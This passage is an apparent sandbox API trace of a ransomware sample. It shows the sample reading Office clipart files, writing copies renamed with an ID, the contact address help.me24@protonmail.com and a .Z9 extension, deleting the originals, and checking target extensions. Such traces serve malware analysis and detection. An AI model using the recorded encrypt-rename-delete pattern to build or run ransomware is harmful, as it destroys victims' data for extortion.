	[0083.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.163] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.163] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0083.163] GetLastError () returned 0x0
	[0083.163] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x12c8, lpOverlapped=0x0) returned 1
	[0083.165] WriteFile (in: hFile=0x388, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x12d0, lpOverlapped=0x0) returned 1
	[0083.166] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.166] WriteFile (in: hFile=0x388, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.166] SetEndOfFile (hFile=0x388) returned 1
	[0083.166] CloseHandle (hObject=0x388) returned 1
	[0083.170] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.170] SetEndOfFile (hFile=0x320) returned 1
	[0083.171] CloseHandle (hObject=0x320) returned 1
	[0083.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0083.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 1
	[0083.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0083.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0083.172] lstrlenW (lpString=".doc") returned 4
	[0083.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.172] lstrlenW (lpString=".docx") returned 5
	[0083.172] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.172] lstrlenW (lpString=".pdf") returned 4
	[0083.172] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.172] lstrlenW (lpString=".xls") returned 4
	[0083.172] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.172] lstrlenW (lpString=".xlsx") returned 5
	[0083.172] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.172] lstrlenW (lpString=".ppt") returned 4
	[0083.172] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0083.172] lstrlenW (lpString=".zip") returned 4
	[0083.172] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.172] lstrlenW (lpString=".rar") returned 4
	[0083.172] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.172] lstrlenW (lpString=".bz2") returned 4
	[0083.172] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.172] lstrlenW (lpString=".7z") returned 3
	[0083.172] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0083.172] lstrlenW (lpString=".dbf") returned 4
	[0083.172] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0083.172] lstrlenW (lpString=".1cd") returned 4
	[0083.172] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0083.172] lstrlenW (lpString=".jpg") returned 4
	[0083.172] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0083.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0083.172] lstrlenW (lpString=".doc") returned 4
	[0083.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.173] lstrlenW (lpString=".docx") returned 5
	[0083.173] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.173] lstrlenW (lpString=".pdf") returned 4
	[0083.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.173] lstrlenW (lpString=".xls") returned 4
	[0083.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.173] lstrlenW (lpString=".xlsx") returned 5
	[0083.173] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.173] lstrlenW (lpString=".ppt") returned 4
	[0083.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0083.173] lstrlenW (lpString=".zip") returned 4
	[0083.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.173] lstrlenW (lpString=".rar") returned 4
	[0083.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.173] lstrlenW (lpString=".bz2") returned 4
	[0083.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.173] lstrlenW (lpString=".7z") returned 3
	[0083.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0083.173] lstrlenW (lpString=".dbf") returned 4
	[0083.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0083.173] lstrlenW (lpString=".1cd") returned 4
	[0083.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0083.173] lstrlenW (lpString=".jpg") returned 4
	[0083.173] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.173] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0083.173] lstrlenW (lpString="AN04384_.WMF") returned 12
	[0083.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0083.960] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=4996) returned 1
	[0083.960] CloseHandle (hObject=0x324) returned 1
	[0083.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 0x220
	[0083.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0083.961] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.961] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0083.962] GetLastError () returned 0x0
	[0083.962] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x1384, lpOverlapped=0x0) returned 1
	[0083.963] WriteFile (in: hFile=0x300, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x1390, lpOverlapped=0x0) returned 1
	[0083.965] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.965] WriteFile (in: hFile=0x300, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.965] SetEndOfFile (hFile=0x300) returned 1
	[0083.965] CloseHandle (hObject=0x300) returned 1
	[0083.969] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.969] SetEndOfFile (hFile=0x324) returned 1
	[0083.970] CloseHandle (hObject=0x324) returned 1
	[0083.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0083.971] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 1
	[0083.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0083.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0083.971] lstrlenW (lpString=".doc") returned 4
	[0083.971] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.971] lstrlenW (lpString=".docx") returned 5
	[0083.971] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.971] lstrlenW (lpString=".pdf") returned 4
	[0083.971] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.971] lstrlenW (lpString=".xls") returned 4
	[0083.971] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.971] lstrlenW (lpString=".xlsx") returned 5
	[0083.971] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.971] lstrlenW (lpString=".ppt") returned 4
	[0083.971] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0083.971] lstrlenW (lpString=".zip") returned 4
	[0083.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.972] lstrlenW (lpString=".rar") returned 4
	[0083.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.972] lstrlenW (lpString=".bz2") returned 4
	[0083.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.972] lstrlenW (lpString=".7z") returned 3
	[0083.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0083.972] lstrlenW (lpString=".dbf") returned 4
	[0083.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0083.972] lstrlenW (lpString=".1cd") returned 4
	[0083.972] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0083.972] lstrlenW (lpString=".jpg") returned 4
	[0083.972] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0083.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0083.972] lstrlenW (lpString=".doc") returned 4
	[0083.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.972] lstrlenW (lpString=".docx") returned 5
	[0083.972] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.972] lstrlenW (lpString=".pdf") returned 4
	[0083.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.972] lstrlenW (lpString=".xls") returned 4
	[0083.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.973] lstrlenW (lpString=".xlsx") returned 5
	[0083.973] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.973] lstrlenW (lpString=".ppt") returned 4
	[0083.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0083.973] lstrlenW (lpString=".zip") returned 4
	[0083.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.973] lstrlenW (lpString=".rar") returned 4
	[0083.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.973] lstrlenW (lpString=".bz2") returned 4
	[0083.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.973] lstrlenW (lpString=".7z") returned 3
	[0083.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0083.973] lstrlenW (lpString=".dbf") returned 4
	[0083.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0083.973] lstrlenW (lpString=".1cd") returned 4
	[0083.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0083.973] lstrlenW (lpString=".jpg") returned 4
	[0083.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.973] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0083.973] lstrlenW (lpString="BD00116_.WMF") returned 12
	[0083.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0083.974] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=4870) returned 1
	[0083.975] CloseHandle (hObject=0x324) returned 1
	[0083.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x220
	[0083.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0083.975] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.975] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0083.976] GetLastError () returned 0x0
	[0083.976] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x1306, lpOverlapped=0x0) returned 1
	[0083.978] WriteFile (in: hFile=0x300, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x1310, lpOverlapped=0x0) returned 1
	[0083.979] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.979] WriteFile (in: hFile=0x300, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.979] SetEndOfFile (hFile=0x300) returned 1
	[0083.979] CloseHandle (hObject=0x300) returned 1
	[0083.980] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.980] SetEndOfFile (hFile=0x324) returned 1
	[0083.982] CloseHandle (hObject=0x324) returned 1
	[0083.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0083.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 1
	[0083.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0083.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0083.982] lstrlenW (lpString=".doc") returned 4
	[0083.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.982] lstrlenW (lpString=".docx") returned 5
	[0083.982] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.982] lstrlenW (lpString=".pdf") returned 4
	[0083.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.983] lstrlenW (lpString=".xls") returned 4
	[0083.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.983] lstrlenW (lpString=".xlsx") returned 5
	[0083.983] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.983] lstrlenW (lpString=".ppt") returned 4
	[0083.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0083.983] lstrlenW (lpString=".zip") returned 4
	[0083.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.983] lstrlenW (lpString=".rar") returned 4
	[0083.983] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.983] lstrlenW (lpString=".bz2") returned 4
	[0083.983] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.983] lstrlenW (lpString=".7z") returned 3
	[0083.983] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0083.983] lstrlenW (lpString=".dbf") returned 4
	[0083.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0083.983] lstrlenW (lpString=".1cd") returned 4
	[0083.983] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0083.983] lstrlenW (lpString=".jpg") returned 4
	[0083.983] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0083.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0083.984] lstrlenW (lpString=".doc") returned 4
	[0083.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.984] lstrlenW (lpString=".docx") returned 5
	[0083.984] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.984] lstrlenW (lpString=".pdf") returned 4
	[0083.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.984] lstrlenW (lpString=".xls") returned 4
	[0083.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.984] lstrlenW (lpString=".xlsx") returned 5
	[0083.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.984] lstrlenW (lpString=".ppt") returned 4
	[0083.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0083.984] lstrlenW (lpString=".zip") returned 4
	[0083.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.984] lstrlenW (lpString=".rar") returned 4
	[0083.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.984] lstrlenW (lpString=".bz2") returned 4
	[0083.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.984] lstrlenW (lpString=".7z") returned 3
	[0083.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0083.984] lstrlenW (lpString=".dbf") returned 4
	[0083.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0083.984] lstrlenW (lpString=".1cd") returned 4
	[0083.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0083.985] lstrlenW (lpString=".jpg") returned 4
	[0083.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.985] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0083.985] lstrlenW (lpString="BD00141_.WMF") returned 12
	[0083.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0083.985] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=26886) returned 1
	[0083.985] CloseHandle (hObject=0x324) returned 1
	[0083.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x220
